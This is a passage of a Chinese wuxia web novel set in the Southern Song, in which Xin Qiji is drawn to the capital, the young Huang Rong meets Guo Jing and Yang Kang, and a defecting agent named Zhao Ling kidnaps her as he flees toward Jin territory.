自从赵茵萝听政以来,这些年投效过来的,或者来表忠心的朝臣不知多少。而赵茵萝也没有让人失望,对于朝廷上的种种政治风向都把握的十分准确。 而这一切当然是来自赵茵萝坚持不懈的努力学习,以及通过与韩侂胄的交流中的长进,加上陈子云依据历史走向的分析。 对于南宋与金国之间的利益冲突、缓和的都有了自己的深刻认知。 也正因为如此,有了大散关的那一场心知肚明的败仗打底,本来应该南宋一败涂地的开禧北伐终于是没有发生。 当然这不是就说,南宋的主战派又被和谈派给压制了,而是宋宁宗跟韩侂胄这对君臣通过那一战,也是明白自己的军队到底是个什么德性。 连刻意而为,精心设计之后的试探之战,都打成这样,要是真的展开大规模的攻防战,南宋的军队又如何在平原上面对金国的铁骑。 所以,在赵茵萝的助推下,韩侂胄实行了按下心头的激情,竭力练兵的状态。 而赵茵萝,也在陈子云的建议下,积极动员那些武将或者亲武将的文臣,将那些真正有本事的将领推选出来,作为这次全国大练兵的主事人。 刚开始,这种有违祖宗法度的行为自然是站不住脚的,不仅是文臣反对,连那些习惯了如今状态的武官也觉得不得劲。 直到一位老人,在所有人都不知道的情况下进了京。 而就是这位已经年过花甲的老人家,稍稍的举动,惊动的不单单是朝廷上的文武,就算是连茫茫然的江湖中,都听到了风浪声。 那一次老人进京,伴着他的不是别人,正是本来应该在桃花岛教徒育女的黄药师。 不过这一次黄药师出山与以往不同,这次他却是自愿的,虽然有陈子云的飞鸽传书,可当知道这次的对方是哪位的时候,黄药师甚至都感觉到了几分紧张与忐忑。 自古英雄重英雄,而这位注定了名垂青史的老人家,完全不负英雄二字,更何况他的文学才华,就算是连黄药师这般桀骜不驯的人也要甘拜下风的。 醉里挑灯看剑,梦回吹角连营……非是欲了却君王天下事的真豪杰是写不出这样的诗词的。这位也是许多人眼里唯一一位真正的豪放派词人,他词中展现的金戈铁马就算是苏东坡也是要望其项背的。 可惜,作为一个自小就励志真战沙场的豪杰,却最终只能在临死之前大呼“杀贼,杀贼”,如之奈何。 要不是陈子云通知黄药师,让他想方设法,帮这位老人家好好调理,争取再让他活上个十年,同时以直捣黄龙为诱饵,让他赴京。说不得这位豪杰人物,最终还是会在郁郁中离世。 “何日起干戈?” 当时这位被陈子云设计几乎算是半骗半哄来的老人家,直接忽略了所有人,只是抓着陈子云的手问道。 “五年以上,十年以下。” 陈子云答道。 那位老人家,就这么抓着陈子云的手,依旧挺直的背脊,直直的看着他的眼睛。 许久,辛老才点头回道。 “好好,你竟然真的相信有这么一天,好啊。” 辛老似乎确认了陈子云的决心,这才朝着一同来迎接他的赵茵萝颔首。在这样的人物眼中,就算明知道对方是当朝的公主,还是已经听政,甚至有人揣测将行凤鸣九霄之事的公主,他的目光依旧是淡淡,丝毫没有刚才的认真。 第二百七十七章 谋划 辛老的回京知道的人不多,只限制在几个必须要知道的人耳中。 赵茵萝当天就跟韩侂胄带着他进宫面圣了。 至此之后,就算是陈子云也没有再见过这位匆匆而来,又匆匆而走的老人家。那天之后,朝廷部署就开始有序的调整。 先是一些武将被更替,在轮边制度的掩盖下,金人得到的消息只会是正常的调动。而其中几个年轻的,并不怎么出名的蒋校却不着痕迹的消失在了大众的视野中。 这些人在大多数人,甚至是南宋朝廷内部的官员看来都是些没有什么作为的小将领而已,但是真正了解他们的人却能发现一个共通之处,那就是这些人都有过对战金人骑兵的经历。 至于其他的一步步的计划,自然也是在暗中进行着,善于射猎的山民被秘密征兵,各地的马官被抽调顶替…… 后面的事情都是赵茵萝跟韩侂胄在商定,陈子云对于这样的具体操作实在是没有太多的耐心。 只是几次被那位格物书院的山长,放翁老人拉着喝酒的时候,被逼问的实在躲不过了,才肆意的根据自己的推论猜想一些可能的进度。 每每讲到那些,那位放翁老人总是要大口饮酒,大笑不止。也深恨自己垂垂老矣,不得一展年轻时的抱负。 “陆老,这些舞刀弄剑的事,就交给年轻人去吧。” 陈子云也只能笑着安慰,以放翁老人的年纪,别说上战场,就是多走几步都是要折寿的。 “年轻人!那辛幼安难道能比我年轻多少?” 放翁老人愤愤的说道。 陈子云差点就要动手捂住他嘴,因为这也是他酒后失言才泄露出的秘密,每每想来实在是悔恨不已。 “哈哈哈……” 放翁老人见陈子云如此,不由得开怀大笑。 …… “小荷呢,好似有些天没见到她了?” 陈子云问道。 “嗯,三天前曲三回来了。” 赵茵萝依旧低头看着案子上的公文随口答道。 “哦,那就难怪了。” 陈子云一副原来如此的摸样。 自从黄药师提出要带小荷回桃花岛而被赵茵萝决绝后,在后面的一年时间里,每次曲三回来,总会带一些桃花岛的新鲜玩意儿给小荷。 一开始小荷并不想承情,可在陈子云的劝说下,也不好直接就拒绝,这一来二去的,别说小荷脸皮薄的,就是赵茵萝也不好意思了。 所以两人就想出了一个折中的主意,黄药师可以收小荷为徒,但是小荷不去桃花岛,黄药师可以来这里授徒。 而也不知赵茵萝是觉得自己有些亏,就非要让小黄蓉认她做干娘,用来作为她同意小荷拜师的交换条件。 黄药师也不知道咋么想的,竟然就同意了。 当时陈子云也想不通,直到小黄蓉赖在赵茵萝的怀里睡着后,梦中呢喃着喊妈妈。 那时三个人都默契的没有说话,只是关切的望着这个小精灵一般可爱的姑娘。随后赵茵萝就要求,每次黄药师过来教授小荷,必须把小黄蓉也带上。 这些年来,赵茵萝也跟陈子云圆房了,可不论如何努力,赵茵萝都没有怀上孩子,甚至连御医苑最好的御医都没有查出两人的不妥之处。 这就让赵茵萝越发的将小黄蓉当自己的亲生女儿对待,什么好东西都往桃花岛上送,有时候就是陈子云见了都有些羡慕。 不过这全然也不是什么好事,本来黄药师这个当爹就够宠女儿的了,现在加上个有过之而无不及的干妈,机灵鬼小黄蓉如今越发的无法无天了。 每次在桃花岛上受了委屈,就央求自己的那几个瘸腿师兄将自己带出岛来。 要是换做去别的地方,这几个唯师命是从的货色自然是不敢违逆黄药师的,可如果是送小黄蓉来牛家村,那就算是黄药师知道了,也最多不过是苛责几句。 因为这个当爹的也知道,小黄蓉毕竟是女儿家,有赵茵萝这个干妈作为父女俩的缓冲,不至于让两人真的下不来台。 况且反正自己也要去牛家村教徒弟的,刚好有个可以化解矛盾的好机会,还不会显得刻意。 潇洒如黄药师,聪明如小黄蓉,在处理父女之间的矛盾时,第一时间想到的都是牛家村里的干妈跟干姐姐。 “小荷姐姐,你帮我评评理,蓉儿明明都完成课业了,爹爹却不让我好好的玩耍,你说是不是他不守信用?” 如今的小黄蓉也八岁了,梳着两个丫头发髻,可爱的就像是太上老君座前的童女一般,仙风非俗。 小荷跟代师授徒的大师兄曲灵风打了一个招呼,示意今天就先到此为止,她要安慰这个小祖宗了。 小荷如今也不是那个营养不良的黄毛丫头了,一身翠绿色的衣裳,像是老天爷把整个春天披在了她身上,就算是路边刚冒尖的嫩芽也不及她的三分春意,十六岁的姑娘,恐怕就是这世间最美丽的风景了。 如今的小荷也不知是不是因为修炼了桃花岛武学与赵茵萝传授的先天功,整个人都犹如被灵秀所种爱一般。 如果不是那双美丽的眼睛里,缺少了三份神采,就算是跟人家说是菩萨面前的仙子下凡,也是有人信的。 不是说她有多么的漂亮,而是一股含而不泄的灵气,让所有见到她的人都会感慨,天底下怎么会有这般的钟灵毓秀的女子。 “好啊,小黄蓉,那为了惩罚师傅的不守信用,那我们就不回桃花岛了,就住在牛家村吧。” 小荷抱着小黄蓉说道。 “好呀,我本来就有些时候没跟干妈跟小荷姐姐一起了。三天,不五天,我决定了,不理爹爹五天。” 小黄蓉伸出几根小指头,认认真真的掰扯着道,好似这五天的不见,就是对自己父亲多么严重的惩罚了。 “五天怎么够呢,小荷姐姐可是很想你呢,最少要待满半个月才好。姐姐跟厨娘学了好几道大菜,正想做给蓉儿吃呢,没有半个月可吃不过来。” 小荷促狭的说道。 第二百七十八章 小黄蓉 “真的吗,蓉儿最喜欢小荷姐姐做的菜肴了。可是……可是……要是蓉儿半个月不回去,爹爹会不会伤心啊。” 小黄蓉担忧的道,可随即眼珠子一转,似乎想到了什么好主意。 “曲师兄,我要在这里待一段时间,你回去就跟爹爹说,我在跟着干妈学功夫,让他不要担心。” 曲灵风看着一大一小这两个自顾自说着“算计”,完全不把他这个大师兄放在眼里的摸样,是即无语又无奈。 没办法,一个是自己师父的宝贝女儿,一个是师父收的关门弟子。哪个都不是自己这个任劳任怨的大徒弟能比的,要是惹得这两位其中一个不开心呢,那他曲灵风的日子可就难过喽。 “蓉儿……” 曲灵风满脸的为难。 “曲师兄,有姑姑跟姑丈在,你难道还怕这天下间有人能在临安伤害到小蓉儿吗?” 小荷问道。 “这自然不是的,只是……” 曲灵风自然是知道陈子云的水准绝不在自己师父之下的,除非其他的五绝联袂而来,否则定然是不可能伤到小师妹的,可就怕自己师父不听自己解释啊。 自己私自带着小师妹出岛,本以为是在教授完小荷师妹之后,能直接带着小黄蓉回去的,哪里会想到小师妹这时却要留下。 想到黄药师对于这个女儿的宝贝程度,曲灵风如何能不忐忑。 “曲师兄,你要是还犹豫不决,那就让姑丈写一份手书,你带回去给师傅,想来这定然不会再让你为难了吧。” 小荷道。 “如此,自然是最好的。” 曲灵风也终于舒了一口气,有陈子云的背书,起码不用担心自己回岛之后,被自己师父算账了,最多也就是口头教育一番,不至于出手惩戒。 …… “干爹,蓉儿好想你呢。” 陈子云笑着回头,张开双手就等着乳燕投林了,可这穿着粉红可人的小家伙,在即将靠近自己的时候,直接一个拐弯,就把守在陈子云身边的小白给抱在了怀里。 “小白,小白,还是你的毛毛舒服呢。” “吱吱……” 小白被这突袭搞得很是不耐,嘴里叫唤着让陈子云救救它,可小黄蓉此时正把整个脸埋在狐狸毛里,陈子云也不好直接坏了她的兴致,只能给了小白一个爱莫能助的表情。 “干爹……” 等小黄蓉稀罕完了狐狸毛,直接一转身就抱住了陈子云的大腿,她如今的身高刚好到了那里,整个人就像是一只树袋熊一般,直接挂在了陈子云的身上。 陈子云将小黄蓉像摘西瓜一般的从腿上摘下,抱在怀里捏捏她的小脸蛋道。 “这次是不是又偷偷跑出来的,也不怕你那女儿奴的爹爹气出病来。” “哼,我爹爹才不会病呢。” 小黄蓉说着,可那神情明显是有些理亏的心虚的。 “这次待多久?” 陈子云这是朝着一盘的曲灵风问的。 “五天,以师妹的资质,师傅交待传授的那些,五天就足够了。” 曲灵风道。 “哼,也不知道你师傅是怎么想的,非要这样来来回回折腾你们才开心,早就让他来这里了,要找个无人打扰的地方还不简单吗,何必非要躲到桃花岛上去?” 陈子云道。 “师傅,他自然是有自己的考量的。” 作为大弟子的曲灵风,不敢揣测自己师父的想法,尤其是在外人面前。 “我看他是东邪的名号叫久了,真当自己是邪物了。” “……” 曲灵风只能沉默以对。 “干爹,你不要这么说爹爹么。” 小黄蓉嗲声嗲气的央求道。 “怎么,这就心疼你爹爹了。” 陈子云刮了刮小家伙的粉嫩鼻子。 “呵呵呵……” 小黄蓉有些怕痒的笑着躲开去了。 “小荷,这些天不见你,黄药师又给你创出了什么功夫?” 陈子云问道。 原来,自从黄药师收了小荷为徒之后,并不是随便的传下几套功夫了事,而是想着要给小荷定制几套最合适她的功夫。 小荷虽然天生目盲,但是其他的感官却是远超他人,尤其是那玄而又玄的第六感,对于危险的预判随着年龄的增长反而越发的敏锐了。 就是陈子云故意收敛声息,也无法靠近小荷的十步之内。要知道,如果陈子云认真起来,就算是黄药师要察觉自己,也是需要全神戒备才行的。 而学武不过几年的小荷,竟然能做到这个地步,实在是匪夷所思。 所以,黄药师一开始传小荷的就是最考究心神之力的弹指神通,这门功夫讲究的就是第一个悟性,第二就是准头,小荷的灵敏感应则是最合适不过了。 第二套武学,却是黄药师刻意为小荷新创的,黄药师称之为“无日”。这是一套不需要眼睛的功夫,一切的招法讲究的是要在看到对方之前,先让对方中招。 是一种心神即到,拳掌亦到的神奇功夫。 这功夫黄药师也就是创出了一个基本的理念,真正掌握这其中诀窍的,也就只能是靠小荷自己了。 …… “乌拉拉,呜……拉拉……” 一.已近黄昏,小黄蓉刚看完自己的大师兄教小荷姐姐桃花岛武学,觉得腻味了,就在书院里逛了起来,口中哼的还是赵茵萝这个干妈教会她的儿歌,虽然旋律并不是很准,但是由这样稚嫩的歌喉唱出来,别有一番童真。 “郭靖,不要急,慢慢来,一次不准,就第二次,第三次,只要你继续练习下去,总会有掌握的一天的。” 一个年轻的格外高大的身影正在书院的一处林边的余晖里教习着最为基础的拳法。 小黄蓉看着那两个跟着那年轻人学全的小孩子,一拳一拳的挥着,像极了自己爹爹说过的,那种死练拳,练死拳的蠢笨架势。 那个穿着白衣服的小孩倒是还好些,起码还知道如何调节自己的马步姿势,好让自己出拳的时候舒服些。 至于那个穿着青色衣服的傻小子,一看就知道是个最没天赋的,按照自己父亲的说法,这种人学十年也不如聪明人学一年的,教了也是浪费。 所以桃花岛上的师兄们,虽然不能都说是天才横溢,但绝对都是一点就通的伶俐人。 第二百七十九章 小魔女本色 而她黄蓉,就算是父亲没有直接说,但她如何能看不出来,自己的聪明是在父亲的所有弟子之上的。 而作为聪明人的的小黄蓉怎么能就这么在背地里看人家笑话呢,要是不当面说出来,岂不是太没意思了,哈哈。 小黄蓉抱着捉弄的小心思,缓缓的靠近了那边。 “在我哥哥。” 小黄蓉朝着那个身材奇高的青年呼唤了一声。对方作为陈子云的大弟子,小黄蓉自然是不可能不认识牛在我的。 只是一直觉得自己干爹收这个四肢发达头脑却一般,连考个秀才都这么费力的牛在我为弟子,是十分不解的,她甚至直接问过陈子云,可是对方只是笑笑没回答。 不过黄蓉竟然自语聪明人,自然不会当面跟说牛在我的不是,平时她对于这位性格有些老好人的哥哥还是挺尊重的,但是这种尊重多少带着这俯视的意思,这是一个自傲的人俯瞰众生的常态。 “小黄蓉。” 牛在我远远就看到黄蓉的到来了,一般人见到他在这里教功夫,都是会自觉的避开的,也就是这位无法无天的小公主,才会毫不顾忌的过来。 不过这也是对方确实有这样的底气,不说自己家里的武学渊源,足够别人羡慕一辈子的,就算是陈子云知道了黄蓉要学他的功夫,也必然是不会吝啬的。 “在我哥哥,这两位就是干爹新收的徒弟吗?” 黄蓉一副纯真摸样的,朝郭靖跟杨康点头招呼。 “你们好,我叫黄蓉,是干爹,也就是你们师傅的干女儿。” “干女儿……” 郭靖摸着脑袋似乎还想不明白着关系。 “蓉儿妹妹,你好,我是杨康,这位是郭靖。” 杨康一派大方的介绍着自己跟郭靖。在书院学习的这几年里,杨康也算是接触到了这个时代不少的富贵子弟,其中不乏那些比黄蓉还倨傲的存在,自然也就明白了,跟这些人物相处的道理。 不能他看你的时候傲慢,你就真的低头,那换来的只有对方永远的俯视。 “你……你好。” 郭靖则是讷讷的说道。 黄蓉歪着头对着这个看着就木讷的小男孩,抿着嘴笑笑。 郭靖见到这个像自己母亲带着自己赶庙会的时候见到的菩萨身边小仙女一般的女孩,本来木讷的性格,现在连怎么转动自己的舌头都忘了。 “哼,傻小子,怎么能这么看女孩子。” 小黄蓉心里已经给郭靖打上了一个记号。 “谁告诉你们,我就一定比你们小的,你们是什么时候的生日?” “啊……是乙丑年,腊月,康弟弟比我晚一个月。” 郭靖忙不急的就把自己的生日报了出去,连带着杨康的生日也卖了,丝毫不顾对方戳着他的背,提醒他不要回答。 “那好,我正好比你们早出生一个月,都给我叫姐姐。” 黄蓉得意的笑着,对着两人说道。 杨康耷拉着耳朵,暗暗气愤郭靖这个傻大哥,把自己的底都露了,这样一来不管对方是要做姐姐还是做妹妹,都不是任由对方拿捏。 “姐……姐!” 郭靖也是羞红了脸,好像叫这样一位看着并不比自己大的小女孩姐姐,让他羞涩难当。 “诶,好弟弟,以后我会好好关照你的。” 黄蓉乐满脸笑意的拍着郭靖的肩膀道。她虽然自小就在父亲的溺爱下长大,可不管是桃花岛上还是在这牛家村里,从来就没有做过一天长辈,所有人都将她当成小公主,都会顺着她宠着她,却没有一个人敬重她。 郭靖的这一声有些不情愿的姐姐,让她体会到了被人真正敬重的感觉,简直比三伏天里的冰镇西瓜汁还要沁人心扉。 郭靖被这个自来熟的小女孩这么一说,直接就吓的往后退了一步,以前都是他挡在杨康面前的,如今却想着将杨康推到前面,可惜杨康见势不妙,早就躲到了牛在我的身后避难去了。 “跑什么,都过来,作为见面礼,姐姐教你们一套桃花岛的厉害至极的功夫。” 黄蓉满脸自豪的说着,不管是在自己那些师兄的嘴里,还是江湖上人对桃花岛的敬畏,以及自己爹爹那五绝之一,东邪黄药师的名声。 黄蓉都有资格,在传授别人桃花岛武学的时候,露出这种自鸣得意的神情。 “不可!” 牛在我上前一步,轻喝一声道。 这一声呼喝,好似就是自己读书瞌睡时,爹爹那根让人痛却不伤人的戒尺直接打在了自己的脖子上。 黄蓉就像是被惊吓到的猫,立刻就竖起了自己脖子上的软毛,张牙舞爪的准备发防备。 “为什么不行,难道你还看不上我桃花岛的武功?” “小黄蓉,不可胡说。” 牛在我正身喝道。 可那双透着倔强的小眼睛,又不得不让牛在我气馁的叹了口气。 “桃花岛的武学,不是我能够置喙的,只是先生吩咐过,如今两位师弟刚入门,正是打基础的时候,切不可拔苗助长,让那些花花哨哨的招式乱了心思。” 牛在我只能把陈子云搬出来做挡箭牌了。 “哼,你用干爹压我!” 小黄蓉怒气哼哼的瞪了牛在我一眼。 牛在我只能当成是没看见,将头转向了一边,他心里清楚,跟这位小公主争辩,不管输赢,自己在先生面前都是没道理的,如果师娘也在的,那就更是无礼了。 小黄蓉见牛在我竟然避而不见,眼睛转悠了两圈,看到杨康那跃跃欲试的摸样,心里一笑,果然还是有人识货的,我桃花岛的武学怎么会有人不想学呢。 当然,除了那个跟木头一般的傻小子除外,她指的自然是跟着牛在我一起回避的郭靖了。 “好,不教就不教,我桃花岛的武功,难道还要求人学不成。” 小黄蓉话虽然这样说,可却是自顾自的在一旁摆起了架势,正是桃花岛入门功夫——碧波掌法的起手式。 随后便是掌影重重,势如波涛,郭靖听了牛在我的吩咐,自然是不听不闻,可杨康却是小心的斜着眼,如饥似渴的学着,看着。 第二百八十章 劫持 本来对于杨康的活络心思来讲,牛在我教的那些基础的招式来来回回就那么几下,早就自认为学会了。 如今这样循环往复的练习,不过是在让自己更加熟练一些罢了,认为这样并不能让自己快速的长进。 而这个自称是来自桃花岛的女孩,使得这一种掌法,明显比自己学的更胜一筹,既然对方愿意教,自己为何不学呢。 多学一门功夫,难道还能有什么坏处。 圣人讲过,因材施教,自己跟郭靖那种一根筋的人本来就不应该用同样的方式教育,自己一天能学会的东西,对方可能要学半个月,甚至更久。 而牛在我,这个大师兄总是要求他们都达到了要求之后,才会接着教,可这样,不就是等于,自己在给郭靖当陪练了吗,这不是浪费自己时间吗。 所以既然有这个机会,能一睹别人的高深武学,杨康自然是如饥似渴的吸收着。 小黄蓉,自然是暗中观察着这个偷看自己功夫的小家伙,而牛在我又如何能不发现呢。 可练武的事情,不是自己强求,对方就能稳下来的,心境出了问题,急功近利,那自然就会走到岔路上。 就好比现在在演示掌法的小黄蓉,以牛在我的见识,早就看出了这张掌法的精要所在,而小黄蓉的招式明显是只得其表,为达其神。 这就是对方在练习这套掌法时,欲求速成,只学了招式,为学得招法意境的缘故。 而看了一眼正把手藏在背后小心模仿的杨康,牛在我暗自摇头,对于对方的天赋,他自然是知道的,可对方那飘忽的心性也让他头痛不已。 本来牛在我向陈子云请教,该如何约束杨康的心智,可自己这位先生只是说了四个字——顺其自然。 相对于杨康这位天才型的弟子,自己那位先生好像更对憨厚的郭靖感兴趣,连连问他,会如何教育这个小家伙。 牛在我当时差点就想说,您才是他们的师傅,这不是应该是您考虑的问题吗,怎么反而问起我这个徒弟来了。 可牛在我当然是无法说出口的,只是模棱两可的说了一句,按部就班,量力而行的话。 当时陈子云只是点点头,顺带的鼓励了牛在我几句,让他不要有压力,就按照基础的先教着。 牛在我当然不知道,陈子云其实是很怕教郭靖这样的木讷弟子的,正在想办法将人送到丐帮去呢。 小黄蓉将一套碧波掌法,来来回回的打了三遍,终于气喘吁吁的收工了。其实在打第二遍的时候,她就有些不耐了,在打第三遍的时候,更是直接就跳过了好几招。 小黄蓉打完之后,也不再跟几人废话,直接一边拿出自己的小手帕擦着汗,一边就往自己的房间走了。 不仅留下牛在我无语叹息,就连意犹未尽的杨康也是郁闷不已。 本来以杨康的资质,一种相对简单的掌法,看三遍是怎么都能记下的,或者说在小黄蓉打了两遍之后,杨康已经记忆的差不多了。 可坏就坏在,小黄蓉那不负责任的第三遍上,那被随意删减的招式,直接将杨康的记忆给搞乱了,让他本来记得第三招之后的第四招,突然变成了第三招之后接第六招。 这样的一混乱,直接就把一套完整的碧波掌法改的牛头不对马嘴了,让杨康是哪儿哪儿都不得劲。 早知道如此,看了第二遍就不应该看第三遍的。 “好了,收敛心思。这样的掌法,你们还没到学习的时候,先把基础的招式练好,没有良好的基础,再高深的掌法也是空中楼阁,撑不起人的。” 牛在我拍了两下手掌示意两为师弟收回注意力。 “是,大师兄。” 郭靖觉得牛在我说的很正确,自小他母亲就教育他,不能好高骛远,要脚踏实地。 “是,大师兄。” 杨康也跟着点头,可那眼里的懊悔与烦躁却是藏都藏不住的。 牛在我此时也没有什么好的办法跟这位聪明过人的师弟解释,这基础的练习的重要性,因为他知道,对方不是不知道,只是认为他自己已经做到的够好了。 可是这样的练习,哪里是有最好的说法的,进一寸有一寸的欢喜,夯实基础,那可不轻飘飘的说一句的,不夯怎么能实呢? “呵哈……” 牛在我将心中的无奈只能也体现在自己的拳头上,带着一个一丝不苟的师弟,和一个心不在焉的师弟,继续着他的教学。 顺其自然,希望先生说的不会错吧。 …… 一个敏捷的身影,犹如一道红色的闪电,突兀的出现咋陈府的的小院子里。 “赵令!” 随之而来的是赵茵萝厉声的呼喝。 小黄蓉刚准备过桥去找自己的干娘,不知怎么的就被人从后面提了起来。本能的想要转头去看,究竟是谁,难道是干爹在跟自己开玩笑嘛。 可还没等她有所反应,脖子上一阵疼痛,随后就是黑暗。 “哞……” 本来在大池塘里悠闲享受阳光的老黑朝着那个抓了小黄蓉的人影吼了一声,这一声吼叫里,竟然能清晰的分辨出老黑的愤怒。 声响就像是最天然的警报,不仅保卫在陈府四周的暗探纷纷现身,连池塘中的大红鲤鱼也一起跃出了水面。 它们自然不是来关心,谁在水面上捣乱的,而是老黑的这一声牛吼实在是过于嘹亮了,这些在水中敏感的鱼儿受不住了。 一身绿袍的赵令站在池塘桥廊的中央最高处,将已经昏迷过去的小黄蓉紧紧的挡在自己胸前,戒备的看着已经遍布他四周的暗探,或者说不定,这里面还有几个是他以前打过交道的同事呢,可惜都蒙着面,不知谁是谁。 一身素服的赵茵萝出现在了廊桥上,而腹部的一片嫣红将一声洁白衬托的有些凄惨摸样,明显是受了不轻的伤。 小白跟在身后,叫声焦急,似乎在提醒自己的女主人赶紧先治伤。 “赵令,你可知道自己在做什么?” 赵茵萝一只手不着痕迹的搭在桥廊的栏杆上,强撑着身子,任凭脸上的冷汗与腰间的鲜血流淌,双目含煞的看着面前这个几乎认不出来的儿时玩伴。 要是说上次把自己的消息出卖给宋宁宗,还能说对方是因为君命难违,自己心里多少还有些惋惜,可这次她万万没想到,对方竟然真的会对自己出手。 “我很清楚,自从那天我明白,我们永远回不到以前的时候,就很清楚。既然我在这里得不到,那我就换个地方试试,如此而已!” 赵令的语言很决绝,但是神色却很是平静,似乎这一切并不是忽然发生的。 第二百八十一章 赵令叛逃 “你早有计划?” 赵茵萝也看出了不对劲。 “你以为你能走出这里?” 赵茵萝环顾一周,看着不下二十人的暗探,不知道对方的底气来自何处。 “有她在,你这个做干娘的难道还能留下我?” 赵令笑着将小黄蓉耷拉着的脑袋抬了起来。 赵茵萝双目一瞪,眼中的怒火简直要把池塘点燃。 “赵令,你想……死!” “放心,我不会真的伤她,我知道这位不单单是你的干女儿,还是那位神秘莫测的桃花岛主的独身女,我抓她只是我了脱身,可不敢得罪那位邪魔。” 赵令道。 “但是,你们要是敢追上来,那我在反抗中要是不小心伤到了这位千金,那可就不能怪我了。” “你在我府里安插了人?” 赵茵萝终于发现了其中的不妙,今天赵令的发难,如今看来明显是精心安排的。今天不但陈子云有事外出,小荷跟着曲灵风在外练武,就是那几个最是得力的子虚手下都好像有任务出去了,不在身边。 “还有谁?” 赵茵萝不信,这么周密的安排会是赵令一个人就能完成的。 “谁,等你以后就知道了,现在还请茵萝你先吩咐下去,我赵令要一路北上,不得有任何一个子虚的人出现在我面前,否则就别怪我对这样的小丫头下手。我虽然不会杀她,可要是缺胳膊少腿的,我倒是想知道那位脾气素来古怪非常的桃花岛主是先找我呢,还是先直接来找你们的麻烦。” 赵令显然是了解过黄药师的,以那位的脾气,不管黄蓉受了谁的委屈,第一件事自然是找上门,向他们夫妻讨要说法,自己的宝贝女儿在他们夫妻手上丢了,自然是要他们负责。 赵茵萝感觉此时胸腹间的那一刀伤口疼的厉害,咬着牙对着其他暗探说道。 ”让他走,但是给我调集所有子虚的人手,给我盯着他,只要他出了大宋的边界,还不放人……那你们就死死光了也要把他给我宰了。” 赵茵萝神色狠厉的说道。 “哈哈哈,好,不愧是我赵令看上的人,这才是不输武曌的风采,这大宋的天下,落在你赵茵萝手里,比落在那些蛀虫般的人物里强百倍。” 赵令说完直接抱着黄蓉出了陈府,他其实心里也是在暗暗算计的。今天这般的冒险行事,最大的把握就是陈子云不在府内。 但是他们安排的计策也并不能拖延对方多久,要是陈子云发现了端倪提前回来,自己又在这里磨蹭了时光,到时候撞个正着,那就真是人算不如天算了。 不管赵令嘴上多么看不起陈子云,可对方那神乎其技的武功,加上不安常路出牌的个性,他实在是没有把握在对方的监视之下逃脱。 所以在出了陈府之后,他就立刻带着依旧昏迷不醒的小黄蓉到了早就准备好的马匹旁边。 这匹宝马可是赵令花了大价钱,从一个没落的宗族子弟的手中强买来的,那户人家也就这一匹祖传下来的马种值钱了。 据对方说,这马的元祖还可以追溯到来自大宛的宝马上去,要不是真的快揭不开锅了,是无论如何都不会卖的。 虽然赵令不会相信对方明显夸大的话语,可在你试着用了半个月之后,也确实意识到,这匹马不是一般的马种。 这才将约定好的剩下的买马的剩余价钱给了对方,要是发现对方有欺骗他的地方,那赵令可以保证,对方失去的绝对不单单是一匹马而已。 “驾……驾驾驾……“ 赵令一只手抱着昏迷中的小黄蓉,一只手抓着马缰,两条腿死死的夹着马肚子,时不时踢踢马肚子,催促这匹难得的宝马奋力狂奔。 因为他知道,自己虽然逃出了陈府,逃出了书院,但是以如今赵茵萝的势力,加上陈子云的实力,在彻底逃出南宋之前,他都算不得是安稳的。 以他这些年来对子虚的了解,如今的南宋不管他是躲到多么偏僻的角落,都不可能瞒得过子虚的耳目。 也就只有到了大金,那个如今对宋人严防死守的地方,才有可能让他放下半点心思。 这说来其实也是因为那次大散关的败仗,让自以为大金铁骑无敌天下的金国朝臣们,以开始意识到,也许在有些时候,终究是有骑兵攻不下的地方。 随后一些列的排查下来,自然是在金国内部找出了不少被南宋早就嵌入其中的暗子。 而随着这些暗子的暴露,总是是有些扛不住刑罚的,将子虚也暴露了出来,接踵而来的自然是针对这个神秘组织的铲除计划。 这些年过来,两国之间谍报机关的针锋相对,也是时刻不停的在普通人看不见的各个阴暗角落里进行着。 也许你那位看着老实巴交的邻居,某天早晨起来就发现对方死在了你正准备弯腰打水的井里,也有可能被一些没见过的官差给直接带走,就再也没有回来过。 如今,不管是大金对南宋的防备,还子虚对奸细的排查,都在一日比一日还要严格的状态下进行着。 也是因为如此,所以子虚这些年在金国安插间谍也是越来越难了,这也是赵令有把握,在进了金国之后,赵茵萝就无法对自己造成威胁的原因。 所以为了捉住机会,为了节约时间,赵令这一路直接就一路朝北,也没有走什么偏僻隐蔽的小路,而是在官道上一路狂奔,要不是座下的宝马也扛不住连日的跋涉,赵令甚至希望能一口气跑出宋境才好。 因为他知道,只要他还没有出南宋的境内,那就不可能真正的脱离子虚的监控,所以这也是他敢于走官道的原因。 因为在如今已经无孔不入的子虚面前,就算你走再偏远的道路,依旧是不可能避免被察觉的。 唯一的差别,不过是走官道当时就被子虚监控着,走偏僻小道,最多隔一天,仍旧被子虚捕捉到。 那他赵令有何必为此耽搁时间呢,尽快逃出宋境才是王道。 一天,两天,赵令除了必要的进食与给马匹缓解疲劳之外,基本都没有下马的时候。 而中间醒过来几次的小黄蓉跟是被他毫不客气的直接捏昏,毕竟此时的黄蓉不过是个小女娃,就算是练了一些桃花岛的入门功夫,在赵令手上也是无法真正反抗的。 赵令这几年在子虚待着,虽然有意无意的被赵茵萝排斥架空,却没有戒备着他练那些在子虚内公开的武功。 尤其因为赵令还挂着玄部负责人的牌子,那子虚内部的武学,基本就都是对他开放的。 甚至里面还包括了,陈子云整理出来的二十四节气指的最为实用的六种变化,还有红袖刀的部分刀招。 第二百八十二章 追 赵令虽然不是什么练武奇才,但是在这些年的资源喂养下,终究还是让他练出了一些名堂,江湖上一般的二流货色基本都不是他的对手。 如今的他,起码也是能跟全真七子那般人物过过招了。 可就算这样,当即将跑出宋境,却发现有人在后面追赶他的时候,赵令还是慌了。 赵令清楚,自己有一张王牌在手,子虚的一般人物根本不敢靠近自己,以免刺激到自己,做出伤害人质的行为,这不是他们能担得起的责任。 所以,这个敢跟着自己穷追不舍的,只肯能是能主事的人物,子虚的那几位首领在他的心头过了一圈。 只要来人不是陈子云,他就不是没有机会。 而当赵令在一个转弯处故意大着胆子减速,回头探望,看到的却是一个完全陌生的汉子,年纪倒是跟陈子云差不多,但绝对不会是对方。 而且奇怪的是,对方骑着马的双脚的姿势好像有些奇怪,似乎并不怎么受力。 来人乃是差点直接在陈府发飙的曲灵风,自己带来的师傅的宝贝女儿,竟然在陈府里被人给劫持走了。 而且按照赵茵萝的解释,对方还很有可能直接带着小黄蓉入金国去了。 曲灵风当场就把一张椅子一掌劈个稀巴烂,劈空掌作为桃花岛几门最难修炼的武学,能有如此威力,可见他曲灵风的天赋。 当时曲灵风连小荷的劝告都没听,直接就自顾自的牵了三匹马,认准一个方向就追了出来。 